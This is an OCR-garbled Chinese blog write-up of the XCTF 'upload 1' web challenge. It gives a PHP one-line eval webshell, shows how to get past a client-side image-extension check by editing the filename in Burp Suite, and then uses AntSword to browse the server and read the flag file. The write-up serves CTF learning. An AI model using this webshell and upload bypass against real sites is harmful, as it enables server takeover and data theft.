XCTF-Web|upload 1详细WriteUp

原创	
<u>不要秃头、</u> 于 2020-09-12 18:20:28 发布 ↑ 分类专栏: <u>ctf学习</u> 文章标签: <u>php 信息安全</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-S/</u> 本立链接: <u>bttps://blog.ccdp.pct/weivip</u> 42240821/orti	53 论 收藏 _版权协议,转载请附上原文出处链接和本声明。
本文確接: <u>Intps://biog.csdif.inet/weixir_43340621/ait</u> 版权 <u> </u>	<u>Je/Uetans/100552343</u>
3 篇文章 0 订阅 订阅专栏 获取在线场景,得到:	
\leftrightarrow > C' $\textcircled{0}$	220.249.52.133:52210
📄 火狐官方站点 🛭 😓 新手上路 📄 常用	网址 💮 京东商城
浏览 未选择文件。	上传
联想可能是要上传webshell。于是编写一句话木马脚之	ž:
php @eval(\$_POST['flag']);?	
当直接上传.php文件时,显示:	
浏览… 1.php 上传	
	请选择一张图片文件上传!
	确定 确定
	https://blog.csdn.net/weixin_43340821

可知需要修改文件后缀,成为图片格式 将一句话木马的文件后缀改为.png或.jpg 选择文件,开启burpsuite拦截器,上传文件:

Burp Suite Professional v1.7.37 - Temporary Project - 1

Burp	Intruder F	Repeater	Window	Help						
Targ	get Proxy	Spider	Scanne	r Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project c
Inter	cept HT	TP history	WebSo	ockets histo	ry Options	•				
F	Request to	http://220	.249.52.1	133:52210						
F	orward		Drop	Intercep	ot is on	Action				
Raw	Params	Headers	s Hex							
POST	/index.ph	p HTTP/1	.1							
Host: :	220.249.5	2.133:522	10							
User-A	Agent: Moz	zilla/5.0 (W	Vindows N	VT 10.0; Wi	in64; x64; rv	:80.0) Gecko	/20100101	Firefox/80.0)	
Accep	t: text/html	,applicatio	n/xhtml+	xml,applicat	tion/xml;q=0	.9,image/web	3.0=p;*/*;q	3		
Accep	t-Languag	e: zh-CN,	zh;q=0.8,	zh-TW;q=0	.7,zh-HK;q=	0.5,en-US;q=	=0.3,en;q=0	0.2		
Accep	t-Encoding	g:gzip,de	flate							
Conte	nt-Type: m	nultipart/fo	rm-data;	boundary=-		4132	232760616	3687896036	12687714	
Conte	nt-Length:	248								
Origin	: http://220	.249.52.1	33:52210)						
Conne	ction: clos	e								
Refere	er: http://22	20.249.52	.133:522	10/						
Upgra	de-Insecu	re-Reques	sts: 1							
		4132	23276061	1636878960	0361268771	4				
Conte	nt-Disposi	tion: form-	data; nan	ne="upfile";	filename="	1.png"				
Conto	nt Turna in	nogo/nng								

Content-Type: image/png

<?php @eval(\$_POST['flag']);?>

-----413232760616368789603612687714--

https://blog.csdn.net/weixin_43340821

在filename处修改文件后缀名为.php,全选数据包后右键,点击send to repeater。在repeater页面点击Go按钮:

🚯 Burp Suite Professional v1.7.37 - Temporary Project - 1		- 0 >
Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater Sequencer Deco	der Comparer Extender Project options User options Alerts	
$1 \times 2 \times 3 \times 4 \times 5 \times$		
Go Cancel < v > v		Target: http://220.249.52.133:52210
Request	Response	
Raw Params Headers Hex	Raw Headers Hex	
POST /index.php HTTP/1.1	HTTP/1.1 200 OK	
Host: 220.249.52.133:52210	Date: Sat, 12 Sep 2020 10:13:07 GMT	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)	Server: Apache/2.4.25 (Debian)	
Gecko/20100101 Firefox/80.0	X-Powered-By: PHP/5.6.37	
Accept:	Vary: Accept-Encoding	
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.	Content-Length: 956	
8	Connection: close	
Accept-Language:	Content-Type: text/html; charset=UTF-8	
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2		
Accept-Encoding: gzip, deflate		
Content-Type: multipart/form-data;	upload success : upload/1599905587.1.php	
boundary=413232760616368789603612687714	html	
Content-Length: 248	<html></html>	
Origin: http://220.249.52.133:52210	<head></head>	
Connection: close	<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>	
Referer: http://220.249.52.133:52210/		
Upgrade-Insecure-Requests: 1	<script type="text/javascript"></script>	

如图荧光笔位置显示出一句话木马成功上传的位置

此时用中国蚁剑进行连接:注意url地址一定是php上传的位置!,连接密码是php中自定义的密码

□ 添加数据			×
□P地 ●添加 ×	清空 🔅 测试连接		
■ 基础配置			~
URL地址 *	http://220.249.52.133:52210/upload/1599905587.1.php		
连接密码 *	flag		
网站备注			
编码设置	UTF8	~	
连接类型	PHP	~	
	编码器		
	● default (不推荐)		
	○ random (不推荐)		
	O base64		•
e 请求信息			~

右键url点击文件管理,即可看到目录

AntSword 编辑 窗口 调试				
↓ ■ 220.249.52.133 ⊗				
□ 目录列表 (1) <	🗅 文件列表 (5)			
	●新建 → │ ↑上层 │ ♥刷新 │ 斧 主目录 │ ■书签 → │ /var/w	ww/html/		→ 读取
e- var e- www e- html upload	名称	日期	大小	属性
	🗀 upload	2020-09-12 10:13:07	4 Kb	0755
	ති flag.php	2020-09-12 08:07:09	63 b	0664
	动 index.html	2018-09-12 01:54:42	11.24 Kb	0664
	动 index.php	2018-09-12 01:54:42	1.35 Kb	0664
	install.sh	2018-09-12 01:54:42	221 b	0775

https://blog.csdn.net/weixin_43340821

💯 中国蚁剑

ntSwo	rd 编辑 窗口 调试						
	□ 220.249.52.133 ⊗						
_ 编辑: /var/www/html/flag.php							
/va	ar/www/html/flag.php		2 刷新				
1 2 3 4	<pre><?php \$flag="cyberpeace{9575ab47a40043e26f97c3f84464 ?></pre>	0e55}";					

得到最终的flag值:

cyberpeace{9575ab47a40043e26f97c3f844640e55}